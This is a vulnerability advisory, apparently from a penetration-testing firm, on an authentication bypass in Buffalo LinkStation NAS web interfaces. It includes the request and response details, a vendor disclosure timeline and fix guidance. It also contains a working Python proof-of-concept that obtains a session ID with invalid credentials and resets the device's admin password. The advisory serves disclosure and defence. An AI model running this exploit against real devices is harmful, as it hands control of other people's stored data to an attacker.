Advisory: Buffalo LinkStation Authentication Bypass

An authentication bypass vulnerability in the web interface of a Buffalo
LinkStation Duo Network Attached Storage (NAS) device allows
unauthenticated attackers to gain administrative privileges. This puts
the confidentiality and integrity of the stored data as well as the
integrity of the device configuration at high risk.

Details

Product: Buffalo LinkStation Duo (LS-WXL), LS-CHL(v2), LS-XHL,
LS-WVL, LS-WSX, LS-VL, LS-QVL, LS-XL
Affected Versions: 1.34, 1.69, 1.70
Fixed Version: 1.71
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: http://www.buffalotech.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-006
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

LinkStation is a brand name of Network Attached Storage (NAS) devices
manufactured by the Japanese company Buffalo. The stored data can be
accessed via several protocols such as SMB, FTP, AFP and HTTP. A web
interface is provided for management purposes.

More Details

The web interface can be reached via HTTP in a web browser. On opening
the web interface the user is first presented a login screen where a
username and a password must be supplied. On submission, an HTTP POST
request is performed by the browser:

POST /dynamic.pl HTTP/1.1
Host: 192.168.1.2
[…]

bufaction=verifyLogin&user=RedTeam&password=Pentesting

In the request above, the username "RedTeam" and the password
"Pentesting" were supplied. The chosen credentials are invalid as no
user with that name exists. The application responds with a JSON-type
reply:

HTTP/1.0 200 OK
[…]

{
"data": [
{
"pageMode": 2,
"sid": "5e0f9249a6cc5137d051514c47b2bb9b"
}
],
"errors": [],
"success": false
}

On the contrary, if valid credentials of an administrative account are
supplied, a reply similar to the following is received:

HTTP/1.0 200 OK
[…]

{
"data": [
{
"pageMode": 0,
"sid": "b9466fbff0c2f277449015d6e110b173"
}
],
"errors": [],
"success": true
}

It was found that in both cases valid session IDs are generated and only
the client-side JavaScript web interface restricts their usage. This is
triggered by the key "success" within the reply. If the field is set to
"false", an error is reported and the user is asekd to authenticate
again. Otherwise, the user is allowed to use the web interface.

Furthermore, the administrative functions are restricted only on the
client-side as well. The key "pageMode" was found to be one of the three
integers representing the type of the user account:

0 - administrator
1 - regular user without administrative privileges
2 - guest user without any privileges

Thus, an attacker may simply provide invalid credentials while tampering
the keys "success" and "pageMode" of the reply in transit (for example
by using a proxy). The attacker may then use the web interface as an
administrative user from the browser. Alternatively, a valid session ID
may be requested using invalid credentials and then used directly to
execute privileged operations by sending the appropriate POST requests.
This eliminates the need for tampering the returned JSON-data. Such an
attack is implemented in the Proof of Concept section.

Proof of Concept

The following Python script exploits the described vulnerability and
sets the password of the "admin"-account to an attacker supplied value.

---

#!/usr/bin/python

import argparse
import requests
import json
import sys

parser = argparse.ArgumentParser(description='Buffalo LinkStation ' +
'Authentication Bypass PoC')
parser.add_argument('host', help='Hostname or IP address of target ' +
'device', type=str)
parser.add_argument('-p', '–port', help='Port of target device',
type=int, default=443)
parser.add_argument('password', help='New admin password', type=str)
args = parser.parse_args()

def get_session_id(url):
headers = {'User-Agent': None}
payload = {'bufaction': 'verifyLogin', 'user': 'RedTeam',
'password': 'Pentesting'}
try:
sys.stdout.write("Trying to get a session ID… ")
sys.stdout.flush()
r = requests.post(url, headers=headers, data=payload,
verify=False)
except:
sys.stdout.write("could not connect to target.\n")
sys.stdout.flush()
return False
if r.status_code != 200:
sys.stdout.write("bad reply.\n")
sys.stdout.flush()
return False
try:
reply = json.loads(r.text)
sid = reply['data'][0]['sid']
except:
sys.stdout.write("error while parsing reply.")
sys.stdout.flush()
return False
#do not check success key of JSON reply here.
#it will most likely be false (user/password wrong)!
sys.stdout.write("ok.\n")
sys.stdout.flush()
return sid

def set_admin_password(url, sid, password):
headers = {'User-Agent': None}
payload = {'bufaction': 'setUserSettingsadmin', 'userName': 'admin',
'userId': '52', 'userDesc': 'Built-in account for ' +
'administering the system', 'pwd': args.password, 'confPwd':
args.password, 'primGroup': 'admin', 'quota_soft': '',
'quota_hard': ''}
cookies = {'webui_session_RedTeam': '%s_en_0' % sid}
try:
sys.stdout.write("Trying to set admin password to %s… " %
password)
sys.stdout.flush()
r = requests.post(url, headers=headers, cookies=cookies,
data=payload, verify=False)
except:
sys.stdout.write("could not connect to target.\n")
sys.stdout.flush()
return False
if r.status_code != 200:
sys.stdout.write("bad reply.\n")
sys.stdout.flush()
return False
try:
reply = json.loads(r.text)
success = reply['success']
except:
sys.stdout.write("error while parsing reply.\n")
sys.stdout.flush()
return False
if success == True:
sys.stdout.write("ok.\n")
sys.stdout.flush()
else:
sys.stdout.write("failed.\n")
sys.stdout.flush()
return success

requests.packages.urllib3.disable_warnings()
url = "https://%s:%s/dynamic.pl" % (args.host, args.port)
sid = get_session_id(url)
if sid == False:
sys.exit(-1)

if set_admin_password(url, sid, args.password) == True:
sys.stdout.write("\n")
sys.stdout.write("Admin password successfully set!\n")
sys.stdout.write("URL: https://%s:%s/\n" % (args.host, args.port))
sys.stdout.write("New credentials: admin : %s\n" % args.password)
sys.exit(0)
else:
sys.exit(-1)

Workaround

If possible, disable access to the web interface, for example via an ACL
in the responsible ethernet switch.

Fix

Users should install firmware version 1.71 or higher to ensure proper
server-side authentication. In addition, a password should be set for
the "guest" user account, which is by default present and enabled, but
does not have a password.

Security Risk

This vulnerability allows an unauthenticated attacker to gain administrative
privileges on a Buffalo LinkStation. All attached storage devices may then be
accessed by the attacker. This puts the available data at risk as confidential
information may be disclosed, valuable information destroyed or manipulated.
Depending on the firmware of the device, an attacker may also be able execute
malicious code on the LinkStation either via installing a customized firmware
image[0] or by exploiting a publicly disclosed remote command injection
vulnerability[1].

It is therefore estimated that the vulnerability poses a high risk to
anyone who uses an affected device.

Timeline

2015-03-30 Vulnerability identified
2015-04-09 Customer approved disclosure to vendor
2015-06-09 Vendor notified
2015-06-09 Vendor responds: vulnerability is fixed in version 1.70
2015-06-09 Verified that vulnerability is not fixed in version 1.70
2015-06-09 Vendor responded: vulnerability is already known and being
worked on, release date is not known
2015-06-09 Vendor provided list of affected devices
2015-07-10 Vendor queried for update, no response
2015-08-03 Vendor queried for update (by phone)
2015-08-04 Vendor responded: advisory has been forwarded to development.
2015-08-04 Vendor queried for estimated fix
2015-08-13 Vendor announced fixed version 1.71
2015-09-04 CVE ID requested
2015-09-07 RedTeam verified that the vulnerability has been fixed
2015-10-07 CVE ID not assigned, may be "duplicate finding"
2015-10-08 Advisory published

References

[0] http://buffalo.nas-central.org/wiki/Category:LS-WXL
[1] https://www.andreafabrizi.it/?exploits:terastation

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